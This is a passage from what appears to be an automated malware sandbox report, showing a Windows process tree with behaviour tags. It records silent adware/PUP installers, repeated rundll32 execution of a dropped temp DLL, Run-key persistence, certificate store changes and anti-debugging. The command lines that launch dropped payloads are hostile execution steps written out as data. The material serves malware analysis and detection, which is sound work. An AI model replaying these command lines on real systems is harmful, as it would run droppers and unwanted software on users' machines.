                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:5252
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-5QRTQ.tmp\eHGLHEnRYqK4VhmYDOUgPfia.tmp
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-5QRTQ.tmp\eHGLHEnRYqK4VhmYDOUgPfia.tmp" /SL5="$402DE,138429,56832,C:\Users\Admin\Documents\eHGLHEnRYqK4VhmYDOUgPfia.exe"
                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                  PID:7492
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-MH328.tmp\Setup.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-MH328.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                                                    PID:5420
                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                                                                                                                                      • Modifies system certificate store
                                                                                                                                                                                                                                                                      PID:8484
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629289462 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        PID:5636
                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                      PID:3936
                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                        PID:5340
                                                                                                                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                                                                                      PID:5128
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                        PID:5148
                                                                                                                                                                                                                                                    • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                      PID:7672
                                                                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding 028F6052A2FE8BC8C915EF71D623C722 C
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                        PID:5868
                                                                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding EC92D0FE9FD9F6C81FC82B7F1C1F2A45 C
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                        PID:6312
                                                                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding E1B3CB1C65ADCF600ADC47B52EDD9692 C
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                        PID:6808
                                                                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding B982EE1D12FC5573F3D061FDE4B3E4C6
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Blocklisted process makes network request
                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                        PID:4240
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                                                                        PID:5276
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=715 -BF=715 -uncf=default
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                                                          PID:9124
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--Ac4FtzsAeC"
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                                                                            PID:5268
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x210,0x214,0x218,0x1ec,0x21c,0x7ffa8d3c9ec0,0x7ffa8d3c9ed0,0x7ffa8d3c9ee0
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                PID:8372
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --mojo-platform-channel-handle=2132 /prefetch:8
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                  PID:4700
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --mojo-platform-channel-handle=1772 /prefetch:8
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                    PID:9172
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1696 /prefetch:2
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:8928
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2616 /prefetch:1
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                                                                      PID:8832
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2204 /prefetch:2
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:4224
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --mojo-platform-channel-handle=2200 /prefetch:8
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                          PID:2276
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --mojo-platform-channel-handle=3420 /prefetch:8
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:8392
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --mojo-platform-channel-handle=3280 /prefetch:8
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                                            PID:7520
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --mojo-platform-channel-handle=3344 /prefetch:8
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:8028
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1640,17890950345045354940,6062211166514064298,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5268_212362484" --mojo-platform-channel-handle=3412 /prefetch:8
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                PID:8812
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_D327.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites' -retry_count 10"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                                                                                                                                            PID:2320
                                                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                        PID:7756
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:5580
                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                          PID:8736
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                            PID:6948
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\CE4F.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\CE4F.exe
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                          PID:8868
                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                          PID:6788
                                                                                                                                                                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                          PID:8672
                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                          PID:6724
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                                            PID:6452
                                                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                          PID:8204
                                                                                                                                                                                                                                                                          • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                            DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{75031801-02a9-6e4f-9ca6-98660627b607}\oemvista.inf" "9" "4d14a44ff" "0000000000000180" "WinSta0\Default" "0000000000000184" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                            PID:9088
                                                                                                                                                                                                                                                                          • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                            DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000180"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:5152
                                                                                                                                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:6592
                                                                                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:3472
                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                PID:8948
                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:6024
                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                  PID:4428
                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\MaskVPN\mask_svc.exe"
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                  PID:5152
                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
                                                                                                                                                                                                                                                                                    MaskVPNUpdate.exe /silent
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                    PID:5176
                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:6132
                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:8384
                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                      PID:5132
                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                      PID:7200
                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                      PID:5204
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                      PID:8612
                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                      PID:2416
                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:9132
                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:5004
                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                          PID:8004
                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
